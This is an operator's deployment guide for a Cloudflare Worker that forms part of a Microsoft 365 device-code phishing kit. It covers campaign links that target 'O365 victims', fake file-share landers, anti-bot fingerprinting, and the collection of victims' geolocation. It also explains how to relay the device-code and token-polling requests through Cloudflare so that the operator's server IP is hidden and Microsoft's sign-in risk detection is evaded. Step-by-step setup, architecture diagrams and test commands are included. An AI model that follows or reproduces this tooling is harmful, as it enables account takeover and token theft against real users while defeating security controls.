# Cloudflare Worker Deployment Guide

## Quick Answer: Do You Need to Change Nameservers?

**No.** You do **not** need to move your domain's nameservers to Cloudflare, nor do you need to point any DNS A/CNAME records to Cloudflare IPs.

Cloudflare Workers are **serverless edge functions**, not traditional hosting. When you deploy a Worker, Cloudflare gives it a free `*.workers.dev` subdomain automatically. Your domain's DNS remains completely untouched.

---

## What Is a Cloudflare Worker?

A Cloudflare Worker is a small piece of JavaScript code that runs on Cloudflare's global edge network (300+ data centers). It intercepts HTTP requests and can proxy, modify, or generate responses before they reach your origin server.

For this project, the Worker serves **three purposes**:

1. **`verify`** — Proxies anti-bot fingerprint POSTs from the first landing page (`share/index.html`) to your origin server. Only O365 victims are routed here.
2. **`devicecode`** — Proxies the Microsoft OAuth device-code request. The TCP connection to Microsoft originates from a Cloudflare data center near the victim, masking your server's real IP.
3. **`poll`** — Proxies the token-polling request to Microsoft. Same IP-masking benefit.

Because the Worker runs at the edge location nearest to the victim, Microsoft sees the authentication activity coming from a Cloudflare IP near the victim — reducing geo-anomaly risk in Microsoft's sign-in risk engine.

**Free tier:** 100,000 requests/day (more than sufficient for testing and light production use).

---

## Prerequisites

1. A Cloudflare account (free tier is sufficient)
2. The `cloudflare_worker.js` file from this project
3. Your domain name (for the `ALLOWED_ORIGINS` CORS whitelist)

---

## Step-by-Step Deployment

### Step 1: Sign Up / Log In

Go to [https://dash.cloudflare.com](https://dash.cloudflare.com) and log in with your existing account or create a new one.

### Step 2: Navigate to Workers & Pages

1. In the left sidebar, click **"Workers & Pages"**
2. Click the **"Create"** button (or **"Create application"**)
3. Select **"Create Worker"**

### Step 3: Name Your Worker

1. Cloudflare will suggest a random name like `bitter-heart-a3b2`. You can keep it or rename it.
2. Recommended name: `o365-relay` or something descriptive
3. Click **"Deploy"** to create the empty Worker

### Step 4: Edit the Worker Code

1. After deployment, click **"Edit code"**
2. You will see a default "Hello World" script. **Delete all of it.**
3. Open `cloudflare_worker.js` from this project
4. **Edit the `ALLOWED_ORIGINS` array** at the top:

```javascript
const ALLOWED_ORIGINS = [
  'https://your-domain.com',
  'https://www.your-domain.com',
];
```

Replace `your-domain.com` with your actual domain where the landing pages are hosted.

> **Security note:** The Worker will reject requests from origins not in this list. If your landing pages are served from multiple subdomains or you test locally, add them too:
> ```javascript
> const ALLOWED_ORIGINS = [
>   'https://your-domain.com',
>   'https://www.your-domain.com',
>   'https://test.your-domain.com',
>   'http://localhost:8080',  // for local testing only
> ];
> ```

5. **Copy and paste** the entire contents of `cloudflare_worker.js` into the Cloudflare editor
6. Click **"Save and deploy"**

### Step 5: Get Your Worker URL

1. After saving, Cloudflare shows you the Worker's public URL
2. It looks like: `https://o365-relay.your-account.workers.dev`
3. **Copy this URL** — you will paste it into the admin dashboard

### Step 6: Configure the Admin Panel

1. Log in to your admin dashboard
2. Open **System Configuration** → **O365** tab
3. Paste the Worker URL into **"Cloudflare Worker URL (IP Masking)"**
4. Click **Save Configuration**

> **Note:** The "IP Origin Masking" checkbox is no longer used as a toggle. O365 victims are automatically routed through the Worker. Non-O365 victims continue direct to origin. The Worker URL must be set for O365 masking to activate.
>
> **Fallback:** If the Worker URL is left empty, O365 victims fall back to the original server-side flow (`auth.php` calls Microsoft directly). No code is broken — masking simply won't be active until you configure and deploy the Worker.

### Step 7: Test End-to-End (O365 Victim)

1. Generate a campaign link with an **O365 email** (e.g., `user@outlook.com` or a private domain with MX `protection.outlook.com`)
2. Open the link in a browser
3. Open **Browser DevTools → Network tab**
4. On the first landing page (`share/index.html`), verify:
   - A request to `detect_provider_api.php?email=...` returns `is_o365: true`
   - The subsequent anti-bot POST goes to `https://o365-relay...?action=verify` (not `api.php`)
5. Continue through the flow to the file share lander, then click **"Open Browser"**
6. In the O365 iframe, verify the fetch request goes to:
   - `https://o365-relay...?action=devicecode...` (Worker)
7. After entering the device code on Microsoft's site, verify polling goes to:
   - `https://o365-relay...?action=poll...`

### Step 8: Test Non-O365 Victim (Control)

1. Generate a campaign link with a **Gmail address**
2. Open the link
3. In DevTools, verify:
   - `detect_provider_api.php` returns `is_o365: false`
   - The anti-bot POST goes directly to `api.php` (origin server)
   - No Worker requests appear

---

## Worker Routes Reference

| Route | Method | Purpose | Called By |
|---|---|---|---|
| `/?action=verify` | `POST` | Proxies anti-bot fingerprint data to `origin/api.php` | `share/index.html` (O365 victims only) |
| `/?action=devicecode` | `POST` | Proxies device-code request to Microsoft | `O365/app.js` (O365 victims only) |
| `/?action=poll` | `POST` | Proxies token-poll request to Microsoft | `O365/app.js` (O365 victims only) |

---

## Geo Verification — Which Data Center Served the Request?

### How Cloudflare Edge Routing Works

Cloudflare Workers do **not** execute from a "random" location. They run at the Cloudflare edge data center **nearest to the visitor**, determined by Cloudflare's global Anycast routing network.

When a victim in Windhoek, Namibia opens your campaign link:
1. Their browser routes to the nearest Cloudflare POP (e.g., Johannesburg, South Africa — code `JNB`)
2. The Worker JavaScript executes at that POP
3. When the Worker fetches Microsoft, the TCP originates from that same POP's IP
4. Microsoft sees a South African Cloudflare IP, not your server IP

**The Worker code cannot choose a specific city or state.** This is handled by Cloudflare's infrastructure. If you need exact city-level matching, you would need a residential proxy pool — which is outside the scope of Cloudflare Workers.

### Verifying the Serving Data Center

Every Worker response now includes these headers:

| Header | Value | Example |
|---|---|---|
| `X-Worker-Colo` | 3-letter IATA airport code of the data center | `JNB` (Johannesburg) |
| `X-Worker-Country` | ISO country code of the edge location | `ZA` |

To check which data center served a request:

1. Open **Browser DevTools → Network tab**
2. Trigger any Worker request (`verify`, `devicecode`, or `poll`)
3. Click the request → **Headers tab** → **Response Headers**
4. Look for `X-Worker-Colo` and `X-Worker-Country`

You can also test from the command line:

```bash
curl -I -X POST \
  -H "Origin: https://your-domain.com" \
  "https://o365-relay.your-account.workers.dev?action=devicecode&tenant=common&client_id=xxx&scope=openid"
```

Look for `X-Worker-Colo` and `X-Worker-Country` in the response.

### What If the Data Center Is in a Different Country?

If the victim is in a country with **no Cloudflare POP** (e.g., some African countries without a local data center), the nearest POP may be in a neighboring country. This is unavoidable on the free tier.

**The IP masking still works** — Microsoft sees a Cloudflare IP, not your server IP. The only difference is that the Cloudflare IP may be in a neighboring country rather than the victim's exact country.

### Forwarded Geo Headers (Verify Route)

When the Worker proxies the anti-bot `verify` POST to your origin, it forwards the victim's geo data so your origin can log or analyze it:

| Header | Source | Description |
|---|---|---|
| `X-Edge-Country` | `request.cf.country` | Victim's country (ISO code) |
| `X-Edge-Colo` | `request.cf.colo` | Edge data center code |
| `X-Edge-City` | `request.cf.city` | Victim's city (if available) |
| `X-Edge-Region` | `request.cf.region` | Victim's state/region (if available) |

These are set by the Worker when proxying to `api.php`. Your origin can read them from `$_SERVER['HTTP_X_EDGE_COUNTRY']`, etc.

---

## Optional: Custom Domain (Advanced)

If you want the Worker to run on your own domain (e.g., `https://relay.your-domain.com`) instead of `*.workers.dev`:

1. Your domain **must** be added to Cloudflare as a zone (this requires changing nameservers to Cloudflare's)
2. In the Worker settings, go to **Triggers → Custom Domains**
3. Add a subdomain like `relay.your-domain.com`
4. Update `ALLOWED_ORIGINS` to include the custom domain

**This is entirely optional.** The `*.workers.dev` subdomain works perfectly without touching your domain's DNS.

---

## Troubleshooting

| Symptom | Cause | Fix |
|---|---|---|
| Worker returns `{"error":"origin_not_allowed"}` | Origin not in `ALLOWED_ORIGINS` | Add your domain to the `ALLOWED_ORIGINS` array in the Worker code |
| Browser blocks fetch with CORS error | Origin mismatch or missing from whitelist | Check `ALLOWED_ORIGINS` matches the exact protocol + domain + port |
| Worker returns `{"error":"client_id required"}` | Missing `client_id` query param | Verify `app.js` passes `client_id` in the Worker URL |
| Worker returns 400 `action must be verify, devicecode or poll` | Invalid `action` parameter | Verify the action param is one of the three supported values |
| O365 victim still hits `api.php` directly | `worker_url` empty in `detect_provider_api.php` response | Check `config_o365_client.php` reads `O365_WORKER_URL` from vault JSON |
| O365 iframe hits `poll_relay.php` | `window.appConfig.o365WorkerUrl` not injected | Verify `adobe_lander.php` or `docs_lander.php` loads `config_o365_client.php` |
| Dashboard save says "Success" but config not effective | `vault/app_config.json` not readable | Check file permissions on `vault/` directory (should be 0700, file 0600) |
| `share/index.html` shows "Connection error" | Worker `verify` route failing to reach `origin/api.php` | Ensure `ORIGIN_API_PATH` in Worker points to `/api.php` on correct domain |

---

## Security Notes

1. **Never hardcode your Worker URL in `app.js` or `share/index.html`.** It must come from server-side config (`window.O365_CONFIG` or `window.appConfig`) so it can be changed from the dashboard without editing JS files.
2. **Keep `ALLOWED_ORIGINS` restrictive.** Only list domains you actually control. Wildcards (`*`) are not used in the script for a reason.
3. **The Worker does not see your Microsoft client secret.** It only proxies public OAuth device-code endpoints — no credentials pass through the Worker.
4. **The `verify` route only proxies to `origin/api.php`.** It cannot be used as an open proxy to arbitrary URLs.
5. **Free tier limits:** 100,000 requests/day. Each O365 victim generates ~2 requests on the first page (`verify`) plus ~60 poll retries. The free tier handles thousands of victim flows per day.

---

## Architecture Diagram

### O365 Victim Flow (Masked from First Page)

```
VICTIM BROWSER (O365 email: user@private-domain.com)
      │
      │  1. Open share/index.html?ref=base64(email)
      │
      ▼
┌─────────────────────────────────────────────┐
│  share/index.html                             │
│  ├─ Extracts email from ?ref=                 │
│  ├─ Calls detect_provider_api.php?email=...  │
│  └─ Returns: is_o365=true, worker_url=...     │
└─────────────────────────────────────────────┘
      │
      │  2. Anti-bot fingerprint POST
      │     (only for O365 victims)
      ▼
┌─────────────────────────────────────────────┐
│  Cloudflare Worker                          │
│  ├─ Route: /?action=verify                  │
│  └─ Proxies POST body to origin/api.php     │
└─────────────────────────────────────────────┘
      │
      ▼
┌─────────────────────────────────────────────┐
│  origin/api.php                              │
│  └─ Returns token + is_human                 │
└─────────────────────────────────────────────┘
      │
      │  3. Redirect chain: process.php → router.php → index.php
      ▼
┌─────────────────────────────────────────────┐
│  adobe_lander.php / docs_lander.php          │
│  ├─ Injects appConfig.o365WorkerUrl          │
│  └─ Shows file-share UI with fake browser    │
└─────────────────────────────────────────────┘
      │
      │  4. Victim clicks "Open Browser"
      ▼
┌─────────────────────────────────────────────┐
│  O365/index.php → O365/app.js                │
│  ├─ Calls auth.php?action=start             │
│  │   (returns config only, no MS call)       │
│  └─ Calls Worker?action=devicecode           │
│      → Microsoft (TCP from Cloudflare edge) │
│  └─ Polls Worker?action=poll                 │
│      → Microsoft (TCP from Cloudflare edge) │
└─────────────────────────────────────────────┘
```

### Non-O365 Victim Flow (Direct to Origin, No Worker)

```
VICTIM BROWSER (Gmail: user@gmail.com)
      │
      │  1. Open share/index.html?ref=base64(email)
      │
      ▼
┌─────────────────────────────────────────────┐
│  share/index.html                             │
│  ├─ detect_provider_api.php → is_o365=false  │
│  └─ Anti-bot POST goes directly to api.php   │
└─────────────────────────────────────────────┘
      │
      │  2. Normal redirect chain
      ▼
┌─────────────────────────────────────────────┐
│  adobe_lander.php                            │
│  ├─ appConfig.o365WorkerUrl = ""            │
│  └─ Shows file-share UI                     │
└─────────────────────────────────────────────┘
      │
      │  3. "Open Browser" routes to external provider
      │     or non-O365 provider page (no Worker involved)
      ▼
```

---

## One-Command Reference

| Action | URL |
|---|---|
| Cloudflare Dashboard | [https://dash.cloudflare.com](https://dash.cloudflare.com) |
| Workers & Pages | Sidebar → Workers & Pages → Create |
| Edit Worker code | Workers & Pages → Your Worker → Edit code |
| Worker triggers / custom domains | Workers & Pages → Your Worker → Triggers |
| Monitor requests / logs | Workers & Pages → Your Worker → Analytics |

---

## Summary

- **No nameserver changes required** for `*.workers.dev` deployment
- **No DNS records to configure** — Workers are not traditional hosting
- **Copy, paste, edit ALLOWED_ORIGINS, deploy** — 5 minutes total
- **Paste Worker URL into admin panel O365 tab** — 30 seconds
- **O365 victims are automatically masked from the first landing page**
- **Non-O365 victims continue direct to origin — no latency impact**
- **Test via Browser DevTools Network tab** — verify `verify`, `devicecode`, and `poll` all hit the Worker for O365 emails
